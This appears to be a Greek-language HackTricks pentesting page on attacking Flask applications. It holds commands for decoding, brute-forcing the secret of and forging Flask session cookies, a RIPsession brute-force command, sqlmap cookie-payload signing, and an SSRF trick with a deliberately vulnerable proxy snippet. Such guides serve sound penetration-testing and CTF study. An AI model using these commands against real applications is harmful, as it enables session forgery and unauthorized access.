89 lines
3.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Flask
{{#include ../../banners/hacktricks-training.md}}
**Πιθανώς αν παίζετε ένα CTF, μια εφαρμογή Flask θα σχετίζεται με** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
## Cookies
Το προεπιλεγμένο όνομα συνεδρίας cookie είναι **`session`**.
### Decoder
Online αποκωδικοποιητής cookies Flask: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
Πάρτε το πρώτο μέρος του cookie μέχρι το πρώτο σημείο και αποκωδικοποιήστε το σε Base64.
```bash
echo "ImhlbGxvIg" | base64 -d
```
Το cookie υπογράφεται επίσης χρησιμοποιώντας έναν κωδικό πρόσβασης
### **Flask-Unsign**
Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, brute-force και δημιουργία session cookies μιας εφαρμογής Flask μαντεύοντας μυστικά κλειδιά.
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
#### **Αποκωδικοποίηση Cookie**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Υπογραφή**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Υπογραφή χρησιμοποιώντας παλαιές (παλιές εκδόσεις)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με flask-unsign.
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi σε cookie συνεδρίας Flask με SQLmap
[**Αυτό το παράδειγμα**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) χρησιμοποιεί την επιλογή sqlmap `eval` για να **υπογράψει αυτόματα τα payloads του sqlmap** για το flask χρησιμοποιώντας ένα γνωστό μυστικό.
## Proxy Flask σε SSRF
[**Σε αυτή την αναφορά**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) εξηγείται πώς το Flask επιτρέπει ένα αίτημα που ξεκινά με τον χαρακτήρα "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Ποιο από τα παρακάτω σενάρια:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Θα μπορούσε να επιτρέψει την εισαγωγή κάτι όπως "@attacker.com" προκειμένου να προκαλέσει ένα **SSRF**.
{{#include ../../banners/hacktricks-training.md}}